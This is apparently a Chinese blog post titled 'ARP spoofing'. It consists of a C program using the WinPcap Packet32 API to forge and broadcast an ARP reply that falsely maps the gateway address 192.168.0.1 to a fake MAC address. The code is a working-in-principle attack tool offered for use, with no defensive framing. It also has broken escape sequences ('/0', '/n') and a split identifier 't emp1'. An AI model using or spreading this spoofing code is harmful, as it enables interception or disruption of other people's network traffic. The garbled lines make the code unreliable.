ARP 欺骗

  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <Packet32.h>
  4. #define EPT_ARP      0x0806
  5. #define EPT_IP       0x0800
  6. #define ARP_HARDWARE 0x0001
  7. #define ARP_REQUEST  0x0001
  8. #define ARP_REPLY    0x0002
  9. #pragma pack(push, 1) // 设置对齐为1,并保存原有对齐设置
  10. typedef struct {
  11.      unsigned char ether_dst[6];
  12.      unsigned char ether_src[6];
  13.      unsigned short ether_type;
  14. } Ether_Header;
  15. typedef struct {
  16.     unsigned short arp_hrd;
  17.     unsigned short arp_pro;
  18.     unsigned char arp_hln;
  19.     unsigned char arp_pln;
  20.     unsigned short arp_op;
  21.     unsigned char arp_sha[6];
  22.     unsigned long arp_spa;
  23.     unsigned char arp_tha[6];
  24.     unsigned long arp_tpa;
  25. } ARP_Header;
  26. typedef struct {
  27.      Ether_Header ether_header;
  28.      ARP_Header   arp_header;
  29. } ARP_Packet;
  30. #pragma pack(pop) // 恢复对齐设置
  31. void GetMacAddr(const char *s, unsigned char *mac)
  32. {
  33.      char i = 0, _tmp[18], key[] = ":-";
  34.      strncpy(_tmp, s, 18);
  35.      char *p = strtok(_tmp, key);
  36.      while (p) {
  37.          mac[i++] = (unsigned char)strtol(p, NULL, 16);
  38.          p = strtok(NULL, key);
  39.      }
  40. }
  41. int main(int argc, char *argv[])
  42. {
  43.      ARP_Packet packet;
  44.      memset(&packet, 0, sizeof(packet));
  45.      WCHAR AdapterList[4][256];
  46.      WCHAR AdapterNames[1024];
  47.      memset(AdapterNames, 0, sizeof(AdapterNames));
  48.      memset(AdapterList, 0, sizeof(AdapterList));
  49.      
  50.      ULONG AdapterLength = 1024;
  51.      if (PacketGetAdapterNames((char*)AdapterNames, &AdapterLength) == FALSE) {
  52.          printf("PacketGetAdapterNames Error./n");
  53.          exit(1);
  54.      }
  55.      char *temp, *temp1;
  56.      temp = temp1 = (char *)AdapterNames;
  57.      int i = 0;
  58.      while ((*temp != '/0') || (*(temp - 1) != '/0')) {
  59.          if (*temp == '/0') {
  60.              memcpy(AdapterList[i], temp1, (temp - temp1));
  61.              t emp1 = temp + 1;
  62.              i++;
  63.          }
  64.          temp++;
  65.      }
  66.      LPADAPTER lpAdapter = PacketOpenAdapter((LPTSTR)AdapterList[1]);
  67.      if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) {
  68.          printf("PacketOpenAdapter Error./n");
  69.          exit(1);
  70.      }
  71.      LPPACKET lpPacket = PacketAllocatePacket();
  72.      if (!lpPacket) {
  73.          printf("PacketAllocatePacket Error./n");
  74.          exit(1);
  75.      }
  76.      char PacketBuf[512];
  77.      memset(PacketBuf, 0, sizeof(PacketBuf));
  78.      unsigned char MacAddr[6];
  79.      
  80.      GetMacAddr("FF:FF:FF:FF:FF:FF", MacAddr);
  81.      memcpy(packet.ether_header.ether_dst, MacAddr, 6);
  82.      GetMacAddr("11:11:11:11:11:11", MacAddr);
  83.      memcpy(packet.ether_header.ether_src, MacAddr, 6);
  84.      packet.ether_header.ether_type = htons(EPT_ARP);
  85.      packet.arp_header.arp_hrd = htons(ARP_HARDWARE);
  86.      packet.arp_header.arp_pro = htons(EPT_IP);
  87.      packet.arp_header.arp_hln = 6;
  88.      packet.arp_header.arp_pln = 4;
  89.      packet.arp_header.arp_op = htons(ARP_REPLY);
  90.      GetMacAddr("11:11:11:11:11:11", MacAddr);
  91.      memcpy(packet.arp_header.arp_sha, MacAddr, 6);
  92.      packet.arp_header.arp_spa = inet_addr("192.168.0.1");
  93.      memcpy(PacketBuf, (char *)&packet, sizeof(packet));
  94.      
  95.      PacketInitPacket(lpPacket, PacketBuf, 60);
  96.      
  97.      if (PacketSetNumWrites(lpAdapter, 2) == FALSE) {
  98.          printf("PacketSetNumWrites Error./n");
  99.          exit(1);
  100.      }
  101.     
  102.      if (PacketSendPacket(lpAdapter, lpPacket, TRUE) == FALSE) {
  103.          printf("PacketSendPacket Error./n");
  104.          exit(1);
  105.      }
  106.      printf ("OK./n");
  107.      PacketFreePacket(lpPacket);
  108.      PacketCloseAdapter(lpAdapter);
  109.      return 0;
  110. }
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值